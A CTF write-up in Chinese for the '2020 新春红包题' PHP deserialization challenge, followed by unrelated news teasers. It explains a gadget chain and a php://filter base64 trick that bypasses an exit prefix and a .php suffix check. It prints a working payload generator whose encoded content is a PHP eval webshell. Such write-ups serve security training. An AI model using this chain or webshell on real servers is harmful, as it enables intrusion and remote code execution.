[2020 新春红包题]1
admin
2024-01-30 10:05:05
0

[2020 新春红包题]1

很眼熟的一题,看着像一个 thinkphp 反序列化题。

$data = "\n" . $data;
$result = file_put_contents($filename, $data);

这边明显就是一个死亡函数绕过,且参数都是可控的,只是需要一些处理,这里要注意几个点:

从下面这句可以看出,filename 的名字是拼凑的,除了 uniqid() 是不可控的其他都是可控的,可以用 ...uploads/ uniqid()/../shell.php/. 绕过,因为它过滤了.php 后缀,且 像 phtml,PHP.... 等等后缀是不允许访问的,所以我们可以用 shell.php/. 绕过,因为在做路径处理的时候,会递归删除掉路径中存在的 /.。(当然上传图片马,并上传user.ini 去解析它应该也是可以的)

$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, strlen('.php')) === '.php') 

$data,就是常说的死亡函数绕过了,因为 base64 是四个一组解析的所以可以利用这个去掉死亡函数,其他的就是反序列化链了。

A:: __destruct(autosave=0)
A::save
A::getForStorage
(返回的是set的value,也就是最后的data)B::set(name为A::save 的 key)
(name的绕过已经说过,在serialize函数处只需构造成base64_decode($data)就行了)

payload:
最后访问 uploads/shell.php getflag 就行了。

protected $store;protected $key;protected $expire;public $autosave;public $cache;public $complete;public function __construct(){$this->autosave = 0;$this->cache = array();$this->complete = 'YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKeklsMHBPejgr';$this->key = '/../succ.php/.';$this->store = new B();}
}
class B {public $options;public function __construct(){$this->options = array('serialize'=>'base64_decode','data_compress' => false,'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/");}
}
echo urlencode(serialize(new A()));

相关内容

热门资讯

昆明甲状腺医院:警惕“沉默的甲... 提到癌症,很多人会联想到疼痛、消瘦、乏力等明显症状,但甲状腺癌中,有相当一部分是“无症状”的——患者...
2025年四川“消费账单”出炉... 转自:四川日报 早上好,今天是1月20日,星期二,一天的信息更新,从川报一分钟早读开始。 昨日,一年...
国资入股地方中小银行战略意义非... 李凤文 今年以来,地方中小银行资本补充进程显著提速,监管层对多家银行注册资本变更的批复密集落地。宁夏...
我用中药治好一只中风的熟鸡 我是个爱养鸡的人,前几年在老家楼顶养了几只熟鸡。那是个充满生机的小天地,鸡屋有二十多年了,只有1.8...
和讯投顾孙鹏:多头正在聚集,再... 从收盘这个情况来看,市场继续向上,那这个上周的判断是没有什么问题的。上涨的家数3570家,微盘股上涨...
原创 离... 在十大开国大将之中,萧劲光大将无疑是个性鲜明、成就卓著的代表。而与他相关的故事,也不仅仅局限于他个人...
儿童选择性缄默 出门不说话 推... 儿童选择性缄默:从心理机制到教育干预的实践路径 理论界定 儿童选择性缄默(Selective Mu...
“春季躁动”行情仍在延续 市场... ◆在配置方向上,机构观点显示,后续市场主线可能切换,前期以主题概念为主但缺乏基本面支撑的领域或难以为...
西安甲康高伟:甲状腺结节“定心... 在前文提到的甲状腺问题中,甲状腺结节是体检高频发现项,而桥本甲状腺炎患者也可能合并结节,这让不少人陷...
【浙商银行FICC·贵金属】避... 来源:市场资讯 (来源:浙商银行FICC) 行情回顾 2025/01/12-2025/01/16 ...
原创 果... 果然被我说中!正在访问中国的加拿大总理突然:宣布了一个大好消息: 1月16日,加拿大总理卡尼在宣布:...
人民财评:5.0%的增长,“十... 2025年,国民经济运行顶压前行、向新向优,高质量发展取得新成效。初步核算,全年国内生产总值1401...
去地产化短期阵痛:珠免集团20... 珠免集团(600185)1月19日晚间公告,预计2025年实现归属于母公司所有者的净利润亏损9.2亿...
京东工业+大觉新材“双碳”破局 (文/观察者网 张志峰) 绿色转型不是选择题,而是制造业高质量发展的必答题。 在“双碳”目标纵深...
1公斤200元,金银之后又一金... 最近,贵金属市场热潮涌动,特别是黄金和白银价格一路走高,成为大众追捧的投资焦点。而在这股热潮之下,又...
新三板打造专精特新服务高地 2... 新华社北京1月19日电 《中国证券报》19日刊发文章《新三板打造专精特新服务高地 2025年新增同意...
原创 特... 美国誓要拿下格陵兰岛,谁敢阻拦就要被加税,特朗普威胁话音刚落,德军麻利儿的撤了。 谁都知道,格陵兰...
原创 2... 嚯,听说了吗?金价好像下来点了。昨儿个楼下阿姨聊天还念叨,说想给闺女打镯子,不知道这会儿买是不是能省...
路畅科技将迎三连亏!此前转让子... 1月19日晚间,深圳市路畅科技股份有限公司(证券简称:路畅科技,股票代码:002813)公告称,公司...
绩优基金也“换将”?增聘优化管... 本报记者 彭衍菘 2026年开年,公募基金行业投研团队调整动作频频。截至1月18日,年内已有56家基...